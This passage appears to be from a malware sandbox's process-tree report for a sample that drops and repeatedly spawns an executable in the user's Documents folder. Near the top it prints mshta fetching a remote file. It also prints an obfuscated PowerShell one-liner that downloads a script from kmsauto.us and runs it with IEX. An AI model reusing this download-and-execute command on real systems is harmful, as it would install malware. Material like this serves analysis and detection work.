    "C:\Users\Admin\AppData\Local\Temp\5675OvaY.com"
    3⤵
    PID:4964
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt
      4⤵
      PID:9060
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://kmsauto.us/ALL.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
        5⤵
        
        PID:11300
- C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
  "C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2656
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4928
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2584
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    PID:5412
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    PID:5204
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:5832
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    PID:5264
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    PID:2112
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    PID:5764
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    PID:5844
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:3568
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:5320
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6396
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6756
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7076
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:4744
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6904
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7052
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6956
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:4764
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7300
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7800
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6112
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8048
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    - Executes dropped EXE
    PID:5832
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7864
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8476
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8816
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:2296
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8648
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:2452
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8700
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7580
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6064
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9244
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9548
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9968
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10176
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9256
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9964
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9028
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10060
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9540
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:3996
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9740
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8360
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10176
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8752
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10412
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10748
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11212
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10684
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7500
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10876
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9820
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11056
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10732
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:3560
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10804
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11416
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11752
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12068
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10920
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11816
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12132
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:1032
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11336
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:3612
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10204
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6000
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:10080
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:5584
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:1856
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11200
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9468
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12392
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12756
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13060
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12020
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12724
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:4564
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12632
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12836
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11996
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12284
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:4636
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11612
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12612
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:392
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11824
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11408
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13732
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:14156
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7004
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13948
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13592
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13432
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8008
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9008
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:3020
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11760
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:9688
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13828
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7136
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:14300
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11132
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:4828
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:14832
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:14384
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:16068
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:16376
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:15948
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:15096
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13820
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:15096
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:16408
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:16744
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:17112
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:16532
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:16940
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:6140
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:3692
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:14652
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:17036
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:7080
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:17732
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18156
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18348
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:17884
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18236
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18264
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18148
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:17892
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:17544
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18416
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18488
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18744
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18976
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19340
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18652
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18996
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:4608
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:17396
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18032
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19692
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19968
